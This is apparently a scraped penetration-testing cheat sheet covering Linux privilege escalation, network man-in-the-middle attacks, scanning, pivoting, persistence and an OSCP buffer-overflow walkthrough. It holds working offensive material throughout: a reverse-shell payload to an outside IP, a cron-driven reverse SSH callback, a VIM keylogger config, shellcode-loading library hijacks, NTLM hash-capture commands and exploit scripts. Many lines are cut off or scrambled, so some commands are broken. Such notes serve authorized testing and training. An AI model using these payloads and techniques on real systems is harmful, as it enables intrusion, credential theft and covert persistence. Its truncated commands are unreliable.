https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
Filesystem
Find and list all files newer than 2020-03-16 and not newer than 2020-03-17 :
# User
$ find / -type f -perm /4000 -ls 2>/dev/null
# Group
$ find / -type f -perm /2000 -ls 2>/dev/null
# Both
$ find / -type f -perm /6000 -ls 2>/dev/null
Dirty COW
https://github.com/FireFart/dirtycow/blob/master/dirty.c
logrotate
https://github.com/whotwagner/logrotten/blob/master/logrotten.c
$ cat payloadfile
if [ `id -u` -eq 0 ]; then (bash -c 'bash -i >& /dev/tcp/10.10.15.171/9001 0>&1' &); fi
https://github.com/whotwagner/logrotten
https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges
https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition
https://popsul.ru/blog/2013/01/post-42.html
motd
/etc/update-motd.d/ :
https://www.securityfocus.com/bid/50192/discuss
PAM MOTD:
https://www.exploit-db.com/exploits/14273
https://www.exploit-db.com/exploits/14339
polkit/dbus-daemon
CVE-2021-3560
https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
real 0m0.014s
user 0m0.003s
sys 0m0.001s
Divide it by 2 or by 3 and create a new user account (you might want to experiment with the number of
milliseconds in the delay and repeat the process a couple of times if needed):
Then set a password for it, sudo into a privilege shell and you are root:
Tools
LinEnum
https://github.com/rebootuser/LinEnum
linux-smart-enumeration
https://github.com/diego-treitos/linux-smart-enumeration/
$ sh <(wget https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse
linPEAS
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
linux-exploit-suggester
https://github.com/mzet-/linux-exploit-suggester
Locally on target:
Victim$ uname -a
Attacket$ curl -sL https://github.com/mzet-/linux-exploit-suggester/raw/master/linux-exploit-s
Attacket$ ./les.sh --uname <UNAME_STRING>
SUID3NUM
https://github.com/Anon-Exploiter/SUID3NUM
htbenum
https://github.com/SolomonSklash/htbenum
pspy
https://github.com/DominicBreuker/pspy
pspy.sh
#!/usr/bin/env bash
while true; do
new=$(ps -eo command)
diff <(echo "$old") <(echo "$new") | grep [\<\>]
sleep .3
old=$new
done
DDexec
https://github.com/arget13/DDexec
Executing Linux Binaries Without Touching Disk - Living Off The Land with DDExec an…
an…
Networks
https://github.com/frostbits-security/MITM-cheatsheet
https://xakep.ru/2021/08/25/stp-yersinia/
https://xakep.ru/author/necreas1ng/
https://habr.com/ru/users/Necreas1ng/
L2
Data Link Layer (OSI Layer 2)
https://xakep.ru/2020/06/17/windows-mitm/
ARP Spoofing
Address Resolution Protocol
Enable IP forwarding:
arpspoof (dsniff)
https://github.com/tecknicaltom/dsniff
https://github.com/GregHoff/dsniff
Install:
Portable
https://github.com/byt3bl33d3r/arpspoof
https://github.com/malfunkt/arpfox
As a portable alternative one may use the Python port of arpspoof compiled with PyInstaller:
Another approach is to download Python dependencies locally and install them on a compromised Linux
host:
If you need to launch ARP spoofing on another distro (CentOS, for example), then installing OS
dependencies and using a portable binary may be easier:
bettercap
https://github.com/bettercap/bettercap
https://www.bettercap.org/modules/
https://linuxhint.com/install-bettercap-on-ubuntu-18-04-and-use-the-events-stream/
https://hackernoon.com/man-in-the-middle-attack-using-bettercap-framework-hd783wzy
https://www.cyberpunk.rs/bettercap-usage-examples-overview-custom-setup-caplets
libpcap0.8_1.8.1-6ubuntu1_amd64.deb
libpcap0.8-dev_1.8.1-6ubuntu1_amd64.deb
libpcap-dev_1.8.1-6ubuntu1_amd64.deb
pkg-config_0.29.1-0ubuntu2_amd64.deb
libnetfilter-queue1_1.0.2-2_amd64.deb
libnfnetlink-dev_1.0.1-3_amd64.deb
libnetfilter-queue-dev_1.0.2-2_amd64.deb
Attack:
arpspoof.cap
# Quick recon of the network
net.probe on
Mitigations
Mitigating ARP spoofing:
https://g-laurent.blogspot.com/2021/12/responder-and-ipv6-attacks.html
mitm6
https://github.com/fox-it/mitm6
https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/
https://intrinium.com/mitm6-pen-testing/
Install:
Generate a list of targets for NTLM relay and prepare a C2 listener and stager:
Start SMB server to capture NTLM hashes and serve the stager:
Start MitMing:
# Users
$ cat ~/ws/logs/mitm6-smbserver.out | grep 'authenticated successfully' -A1 | grep aaaaaaaaaaa
$ sort -u -t: -k1,1 net-ntlmv2.mitm6 ~/ws/loot/net-ntlmv2.txt > t
$ mv t ~/ws/loot/net-ntlmv2.txt && rm net-ntlmv2.mitm6
# Machines
$ cat ~/ws/logs/mitm6-smbserver.out | grep 'authenticated successfully' -A1 | grep aaaaaaaaaaa
Attack vectors
1. mitm6.py poisons IPv6 DNS entries for all hosts in the /24 network.
3. mitm6.py on the attacker's machine acts like a rogue DNS server and responds with the attacker's IP
for all incoming queries.
1. mitm6.py poisons IPv6 DNS entries for all hosts in the /24 network.
3. mitm6.py on the attacker's machine acts like a rogue DNS server, ntlmrelayx.py serves a
malicious WPAD file with an inexistent hostname (which will be resolved to the attacker's IP anyway)
and acts like a rogue proxy server and mitm6.py responds with the attacker's IP for all the incoming
DNS queries.
4. Victims grab the WPAD file and ask the rogue IPv6 DNS server (attacker's machine) to resolve its
location - resolved to attacker's machine.
5. Victims go to the rogue proxy server and there ntlmrelayx.py responses with HTTP 407 Proxy
Authentication .
Responder
https://github.com/SpiderLabs/Responder
https://github.com/lgandx/Responder
https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
https://markclayton.github.io/where-are-my-hashes-responder-observations.html
Install:
$ git clone https://github com/lgandx/Responder ~/tools/Responder && cd ~/tools/Responder
Run:
# Users
$ cat logs/*.txt | grep -a . | grep -a -v -e 'logs/' -e '\$' | sort -u -t: -k1,1 > net-ntlmv2
$ sort -u -t: -k1,1 net-ntlmv2.responder ~/ws/loot/net-ntlmv2.txt > t
$ mv t ~/ws/loot/net-ntlmv2.txt && rm net-ntlmv2.responder
# Machines
$ cat logs/*.txt | grep -a '\$' | sort -u -t: -k1,1
Inveigh
https://github.com/Kevin-Robertson/Inveigh
InveighZero
https://github.com/Kevin-Robertson/InveighZero
https://github.com/Flangvik/SharpCollection
SNACs Abuse
Stale Network Address Configuration
https://www.blackhillsinfosec.com/analyzing-arp-to-discover-exploit-stale-network-address-
configurations/
https://github.com/arch4ngel/eavesarp
Actively analyze ARP traffic and hunt for SNACs (Stale Network Address Configurations):
If a SNAC if found (can be detected, for example, when a host has moved from one IP to another and its
DNS A record not matching its DNS PTR record anymore) so that some application in the network is still
trying to send sensitive data to the stale IP address (because it may simply be hard-coded in the app), an
adversary can set an alias for their interface pretending to be that host with the stale IP and collect all the
traffic intended for it:
# Abuse it!
$ sudo tcpdump -nA -i eth0 "src host <STALE_IP> and (dst port 80 or dst port 443)"
Or
$ sudo tcpdump -nvv -i eth0 -s 65535 -w eavesarp.pcap "host <STALE_IP>"
# Clean up
$ sudo ip addr del <STALE_IP>/24 dev eth0
VLAN Hopping
Virtual Local Area Network
https://en.wikipedia.org/wiki/VLAN_hopping
https://notsosecure.com/exploiting-vlan-double-tagging/
[PDF] VLAN Hopping Attack (Haboob Team)
NAC Bypass
Network Access Control & Port Security (MAB, IEEE 802.1X, etc.)
https://luemmelsec.github.io/I-got-99-problems-but-my-NAC-aint-one/
https://www.thehacker.recipes/physical/networking/network-access-control
https://habr.com/ru/company/jetinfosystems/blog/564238/
Tools
FENRIR
https://github.com/Orange-Cyberdefense/fenrir-ocd
[PDF] 802.1x NAC & BYPASS TECHNIQUES (Hack in Paris 2017, Valérian LEGRAND)
HIP17 - Talk 12 - 802.1x Network access control & Bypass Techniques by VALERIAN L…
L…
NACKered & nac_bypass
https://github.com/p292/NACKered
https://github.com/scipag/nac_bypass
https://github.com/snovvcrash/nac_bypass
Set up the bridge ( eth0 is connected to the switch, eth1 is connected to the authenticated client):
$ sudo ./nac_bypass_setup.sh -r
Scanning
https://bitvijays.github.io/LFF-IPS-P1-IntelligenceGathering.html#identifying-alive-ip-addresses
https://livebook.manning.com/book/penetrating-enterprise-networks/chapter-2/
https://www.offensive-security.com/offsec/pythonizing-nmap/
https://github.com/gh0x0st/pythonizing_nmap
Host Discovery
ARP
http://edublog.bitcrack.net/2016/09/scanning-network-using-netdiscover-arp.html
https://null-byte.wonderhowto.com/how-to/use-abuse-address-resolution-protocol-arp-locate-hosts-
network-0150333/
https://www.blackhillsinfosec.com/analyzing-arp-to-discover-exploit-stale-network-address-
configurations/
arp scan
Active:
netdiscover
Passive:
https://hub.packtpub.com/optimize-scans/
$ sudo nmap -n -sn 10.0-255.0-255.1 -oA subnets/gateways -PE [--min-rate 10000 --min-hostgroup
$ grep 'Up' subnets/gateways.gnmap | cut -d' ' -f2 > subnets/ranges.txt
Ping Sweep
Bash:
$ NET="0.0.0"; for i in $(seq 1 254); do (ping -c1 -W1 $NET.$i > /dev/null && echo "$NET.$i"
Or
$ NET="0.0.0"; for i in $(seq 1 254); do (ping -c1 -W1 "$NET.$i" | grep 'bytes from' | cut -d
Batch:
Cmd > set "NET=10.5.5" && for /L %i in (1,1,255) do @ping -n 1 -w 200 %NET%.%i > nul && echo %
Nmap:
$ sudo nmap -n -sn -iL subnets/ranges.txt -oA hosts/pingsweep -PS22,443 -PA21,80 -PE -PP
$ grep 'Up' hosts/pingsweep.gnmap | cut -d' ' -f2 | sort -u -t'.' -k1,1n -k2,2n -k3,3n -k4,4n
RMI Sweep
Port Service
22 SSH
3389 RDP
2222 SSH?
5900 VNC
5985 WinRM
Nmap:
Services
Raw Identification
https://github.com/R3dy/parsenmap
$ parsenmap.py -i services/alltcp-versions.xml
nmaptocsv
https://github.com/maaaaz/nmaptocsv
Ports
$ IP="0.0.0.0"; for p in $(seq 1 49151); do (timeout 1 bash -c "echo '.' >/dev/tcp/$IP/$p && e
$ sort -u -t':' -k1,1n hosts/ports.txt > hosts/echo-ports.txt && rm hosts/ports.txt
Scan with nc :
$ seq 1 49151 | xargs -n1 | xargs -P0 -I {} nc -nzv -w1 0.0.0.0 {} 2>&1 | grep -vE "timed out
Port Service
21 FTP
22,2222 SSH
23 Telnet
25 SMTP
53 DNS
80,8080 HTTP
88 KDC
111 SUNRPC
135 MSRPC
137 NetBIOS
443,8443 SSL/TLS
623 IPMI
873 RSYNC
1433 MS SQL
1521 Oracle
ports_tcp="21,22,23,25,53,80,88,111,135,137,139,389,443,445,593,623,636,873,1090,1098,1099,143
Port Service
53 DNS
67 DHCP
69 TFTP
88 KDC
123 NTP
137 NetBIOS
161 SNMP
500 IKE
623 IPMI
3391 RD Gateway
UDP one-liner:
ports_udp="53,67,69,88,123,137,161,500,623,3391"
Nmap
https://www.infosecmatter.com/why-does-nmap-need-root-privileges/
Flag -A :
$ grep '|_' services/alltcp-versions.nmap | cut -d'_' -f2 | cut -d' ' -f1 | sort -u | grep ':
Fast port discovery with Masscan + versions and scripts with Nmap (TCP):
Fast port discovery with Nmap + versions and scripts with Nmap (TCP & UDP):
$ sudo nmap -n -Pn --min-rate 1000 -T4 127.0.0.1 -p- -v --open | tee nmap/ports_tcp.txt
$ ports_tcp=`cat nmap/ports_tcp | grep '^[0-9]' | awk -F "/" '{print $1}' | tr "\n" ',' | sed
$ sudo nmap -n -Pn -sVC [-sT] [-A] [--reason] -oA nmap/tcp 127.0.0.1 -p$ports_tcp
nmap_single_host.sh
#!/usr/bin/env bash
IP="$1"
OUT="${IP//./-}"
quick_ports_scan="sudo nmap -n -Pn --min-rate 1000 -T4 $IP -p1-65535 --open -v | tee ${OUT}_al
echo -e "\033[0;31m########## \033[1;32m${quick_ports_scan}\033[0;31m ##########\033[0m"
eval ${quick_ports_scan}
nmap_visualize.sh
#!/bin/bash
INPUT=$1
IFS=$'\n'
unset $IFS
Masscan
https://github.com/robertdavidgraham/masscan
$ sudo masscan [-e eth0] --rate 1000 -iL hosts.txt --open -p$ports --resume paused.conf >> mas
$ mkdir services && for p in `echo $ports | tr ',' ' '`; do grep "port $p/tcp" masscan.out | a
RustScan
https://github.com/RustScan/RustScan/wiki/Usage
$ sudo rustscan -b 1000 -t 2000 -u 5000 -a hosts.txt -r $ports -g --no-config --scan-order "Ra
https://github.com/RustScan/RustScan/wiki/Config-File
https://github.com/projectdiscovery/naabu/releases
$ sudo naabu [-interface eth0] -iL hosts.txt -s s -rate 1000 -p - -silent [-nmap-cli 'sudo nma
$ sudo naabu -host 10.10.13.37 -top-ports 1000
Invoke-Portscan
https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/Invoke-Portscan.ps1
https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Portscan/
https://s3cur3th1ssh1t.github.io/On-how-to-access-protected-networks/
gateway-finder-imp
https://github.com/whitel1st/gateway-finder-imp
NetBIOS
nbtscan
nbname (MSF)
nextnet
https://github.com/hdm/nextnet
PingCastle
https://github.com/vletoux/pingcastle/releases
SharpOxidResolver
https://github.com/S3cur3Th1sSh1t/SharpOxidResolver/releases
Tools
AutoRecon
https://github.com/Tib3rius/AutoRecon
legion
https://github.com/carlospolop/legion
nmapAutomator
https://github.com/21y4d/nmapAutomator
Install:
$
$ git
sudoclone https://github.com/21y4d/nmapAutomator
ln -vs `pwd`/nmapAutomator/nmapAutomator.sh ~/tools/nmapAutomator
/usr/local/bin/ && cd ~/tools/nmapAut
Run:
SIP / VoIP
Sniff Traffic
tcpdump
While connected via SSH:
$ sudo tcpdump -i eth0 -w dump.pcap -s0 'not tcp port 22' &
Wireshark
https://wiki.wireshark.org/CaptureSetup/CapturePrivileges
https://research.801labs.org/cracking-an-ntlmv2-hash/
Filters
Protocols to consider:
NFS
Network File System
https://resources.infosecinstitute.com/exploiting-nfs-share/
https://blog.christophetd.fr/write-up-vulnix/
https://book.hacktricks.xyz/linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe
Nmap
Discover rpcbind:
Mount
$ showmount -e 10.10.13.37
$ sudo mount -v -t nfs -o vers=3 -o nolock -o user=snovvcrash,pass='Passw0rd!' 10.10.13.37:/ho
Persistence
https://xakep.ru/2021/03/03/persistence-cheatsheet/
Windows
https://persistence-info.github.io/
Scheduled Tasks
https://github.com/VirtualAlllocEx/Taskschedule-Persistence-Download-Cradles
Dollar Sign
https://chaah.awankloud.my/redteaming-tips-creating-a-hidden-user/
SpecialAccounts
COM Hijacking
Operation is RegOpenKey
Result is NAME NOT FOUND
Path is InprocServer32 (in-process server allowing the specified DLL to be loaded into current process
memory space)
schtask.ps1
$Tasks = Get-ScheduledTask
Check if a COM component exists under a relevant registry hive by its CLSID:
If it exists under HKLM but does not exists under HKCU hive, we can hijack this COM component by
creating a new item in the latter path:
RID Hijacking
https://r4wsecurity.blogspot.com/2017/12/rid-hijacking-maintaining-access-on.html
https://github.com/r4wd3r/RID-Hijacking
.LNK Shortcuts
https://v3ded.github.io/redteam/abusing-lnk-features-for-initial-access-and-persistence
Tools
SharPersist
https://github.com/fireeye/SharPersist
Linux
SSH Tunnel in Crontab
callback.sh
#!/bin/bash
if [[ `ps -ef | grep -c 2222` -eq 1 ]]; then
/usr/bin/ssh -nNT -R 2222:localhost:22 -oStrictHostKeyChecking=no -oUserKnownHostsFile=/dev/
fi
Attacker's box:
Victim's box:
Global Socket
https://www.gsocket.io/deploy/
Install
Victim's box:
Connect
Attacker's box:
Cleanup
Victim's box:
$ pkill gs-bd
Rootkits
0x00sec.org/t/kernel-rootkits-getting-your-hands-dirty/1485
Pivoting
https://xakep.ru/2020/09/08/windows-pivoting/
Check if connections are allowed at a certain port (alternative to nc.exe and powercat.ps1):
nc.ps1
# Test-NetConnection -ComputerName 10.10.13.37 -Port 4444
$port = $args[0]
$endpoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Any, $port)
$listener = New-Object System.Net.Sockets.TcpListener $endpoint
$listener.Start()
Write-Host "Listening on port $port"
while ($true)
{
$client = $listener.AcceptTcpClient()
Write-Host "A client has connected"
$client.Close()
}
Check if the machine can reach specific remote port when Test-NetConnection is not available (1, 2):
SSH
https://habr.com/ru/post/331348/
Local vs Remote Port Forwarding
-L 1111:127.0.0.1:2222 : the traffic is forwarded from SSH client via SSH server, so 1111 is
listening on client-side and traffic is sent to 2222 on server-side.
-R 2222:127.0.0.1:1111 : the traffic is forwarded from SSH server via SSH client, so 2222 is
listening on server-side and traffic is sent to 1111 on client-side.
Consider the following example. An attacker has root privileges on Pivot1. He creates the first SSH tunnel
(remote port forwarding) to interact with a vulnerable web server on Pivot2. Then he exploits the vulnerability
on Pivot2 and triggers it to connect back to Attacker via a reverse-shell (firewall is active, so he needs to
pivot through port 443, which is allowed). After that the attacker performs PE on Pivot2 and gets root. Then
he creates another tunnel (local port forwarding) over the first one to SSH into Pivot2 from Attacker. Finally,
he forwards port 80 over two existing hops to reach another vulnerable web server on Victim.
Notes:
1 For SSH server to listen at 0.0.0.0 instead of 127.0.0.1 , the GatewayPorts yes must be
set in /etc/ssh/sshd_config .
1 With SSH (or Chisel, for example) server running on the Attacker the same can be achieved by
doing local port forwarding instead of remote.
An example how to safely set remote dynamic port forwarding (SOCKS) with a builin SSH client.
snovvcrash@attacker:~$ vi ~/.ssh/authorized_keys
from="10.10.13.38",command="echo 'Only port forwarding is allowed'",no-agent-forwarding,no-X11
netsh
Rules
Allow inbound traffic flow on port 4444/TCP:
Cmd > netsh advfirewall firewall add rule name="Allow 4444" dir=in action=allow protocol=TCP l
Cmd > netsh advfirewall firewall delete rule name="Allow 4444" protocol=TCP localport=4444
Relay
Make any traffic hitting port 8443 on 0.0.0.0 to be redirected to 10.10.13.37 on port 443:
Cmd > netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=8443 connectaddres
Remove a relay:
[YouTube] HTB Business CTF 2022: Dirty Money - The Day Before
[YouTube] HTB Business CTF 2022: Dirty Money - The Day Before
With AllowTcpForwarding set to no it's also possible to establish a SOCKS connection through
active SSH connection:
https://ijustwannared.team/2019/11/07/c2-over-rdp-virtual-channels/
xfreerdp + rdp2tcp
https://github.com/V-E-O/rdp2tcp
https://github.com/NotMedic/rdp-tunnel
Reverse local port 9002 (on Victim) to local port 9001 on Attacker (good for reverse shells):
Forward local port 9001 (on Attacker) to local port 9002 on Victim (good for bind shells):
$ python rdp2tcp.py add forward 127.0.0.1 9001 127.0.0.1 9002
https://serverfault.com/a/361806/554483
Use /timeout:25000 to increase timeout and avoid "Waiting for activation" error.
Tools
https://github.com/securesocketfunneling/ssf
https://github.com/ginuerzh/gost
https://github.com/llkat/rsockstun
https://github.com/sysdream/ligolo
https://github.com/nicocha30/ligolo-ng
proxychains-ng
https://github.com/rofl0r/proxychains-ng
Install:
sshuttle
https://github.com/sshuttle/sshuttle
https://anubissec.github.io/How-To-Pivot-Into-Target-Network-With-SSH/#
chisel
https://github.com/jpillora/chisel/releases
https://0xdf.gitlab.io/2020/08/10/tunneling-with-chisel-and-ssf-update.html#chisel
HTB{ Reddish }
snovvcrash@gh-pages:~$ _
Reverse local port 1111 (on Victim) to local port 2222 (on Attacker):
Socks5 proxy in server mode when direct connection to Victim is not available (not relevant as Chisel
supports socks5 in client mode now):
SharpChisel
https://github.com/shantanu561993/SharpChisel
https://github.com/latortuga71/SharpChisel-NG
https://medium.com/@shantanukhande/red-team-how-to-embed-golang-tools-in-c-e269bf33876a
https://github.com/m3rcer/Chisel-Strike
revsocks
https://github.com/kost/revsocks
Neo-reGeorg
https://github.com/L-codes/Neo-reGeorg
https://github.com/sensepost/reGeorg
Generate a tunnel implant and copy it to the Victim web server from ./neoreg_servers/tunnel* :
Post Exploitation
General Post Exploitation
Linux
VIM Keylogger
Create a malicious VIM config that will save contents of a modified file when ran with sudo:
settings.vim
:if $USER == "root"
:autocmd BufWritePost * :silent :w! >> /tmp/tmp0x031337
:endif
LD_LIBRARY_PATH
https://github.com/chvancooten/OSEP-Code-
Snippets/blob/main/Linux%20Shellcode%20Loaders/sharedLibrary_LD_LIBRARY_PATH.c
Code skeleton:
fakelib.c
#include <sys/mman.h>
#include <stdlib.h>
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>
void hijack() {
setuid(0);
setgid(0);
printf("Library hijacked!\n");
int bufsize = (int)sizeof(buf);
for (int i = 0; i < bufsize-1; i++) { buf[i] = buf[i] ^ 'a'; }
intptr_t pagesize = sysconf(_SC_PAGESIZE);
mprotect((void *)(((intptr_t)buf) & ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC);
int (*ret)() = (int(*)())buf;
ret();
}
$ ldd /usr/bin/top
...
We'll be targeting the libgpg-error.so.0 library. Include defined symbols of the original library in our
malicious library:
LD_PRELOAD
https://github.com/chvancooten/OSEP-Code-
Snippets/blob/main/Linux%20Shellcode%20Loaders/sharedLibrary_LD_PRELOAD.c
evilgetuid.c
#define _GNU_SOURCE
#include <sys/mman.h>
#include <stdlib.h>
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>
uid_t geteuid(void)
{
typeof(geteuid) *getuid_orig;
getuid_orig = dlsym(RTLD_NEXT, "geteuid");
Compile:
Create an evil alias to preserve environment variables when running cp with sudo (good candidates are
.bashrc and .bash_profile ):
SNMP
Simple Network Management Protocol
onesixtyone
https://github.com/trailofbits/onesixtyone
snmpwn
https://github.com/hatlord/snmpwn
TFTP
Trivial File Transfer Protocol
Download Python TFTP implementation and use the Bash script below:
https://github.com/m4tx/pyTFTP
tftp-brute.sh
#!/usr/bin/env bash
IP=$1
FILES=$2
VNC
Virtual Network Computing
TightVNC
https://github.com/frizb/PasswordDecrypts
Misc
OSCP BOF
All you need to know about OSCP BOF challenge. A perfect example for practice – here on VulnHub, report
sample – here.
$ msf-pattern_create -l 5000
$ python3 bof_send_pattern.py
bof_send_pattern.py
#!/usr/bin/env python3
# bof_send_pattern.py
import socket
buf = b'<UNIQUE_PATTERN>'
#buf += b'\r\n'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.10.13.37', 1337))
#print(s.recv(1024))
s.send(buf)
#print(s.recv(1024))
s.close()
2. Confirm BOF
Confirm that you actually can control EIP value - if true it will be overwritten with D34DC0D3 :
$ python3 bof_confirm.py
bof_confirm.py
#!/usr/bin/env python3
# bof_confirm.py
import socket
import struct
def little_endian(num):
return struct.pack('<I', num)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.10.13.37', 1337))
#print(s.recv(1024))
s.send(buf)
#print(s.recv(1024))
s.close()
$ python3 bof_bad_chars.py
bof_bad_chars.py
#!/usr/bin/env python3
# bof_bad_chars.py
import socket
import struct
def little_endian(num):
return struct.pack('<I', num)
badchars = b'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\
#badchars = '\x00'
buf = junk + eip + offset + badchars
#buf += b'\r\n'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.10.13.37', 1337))
#print(s.recv(1024))
s.send(buf)
#print(s.recv(1024))
s.close()
!mona modules
$ msf-nasm_shell
nasm > jmp esp
00000000 FFE4 jmp esp
Or
nasm > call esp
00000000 FFD4 call esp
Found pointer is the needed value for EIP to force the execution flow into malicious shellcode.
$ python3 bof_exploit.py
bof_exploit.py
#!/usr/bin/env python3
# bof_exploit.py
import socket
import struct
def little_endian(num):
return struct.pack('<I', num)
offset = b'C' * 4
nops = b'\x90' * 10
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.10.13.37', 1337))
#print(s.recv(1024))
s.send(buf)
#print(s.recv(1024))
s.close()
RE
Reverse Engineering
RE
Ghidra
Install:
https://ghidra-sre.org/
$ mv /opt/tor-browser/Browser/Downloads/ghidra*.zip ~/tools
$ cd ~/tools && unzip ghidra*.zip && rm ghidra*.zip && mv ghidra* ghidra && cd -
$ sudo apt install openjdk-11-jdk
OSINT
Open Source Intelligence
https://osintframework.com/
Emails
https://hunter.io/
https://app.snov.io/search/single-email
https://www.skymem.info/
https://mailshunt.com/domain-search
https://dash.maildb.io/search/domain
Infoga
https://github.com/m4ll0k/Infoga
Tools
theHarvester
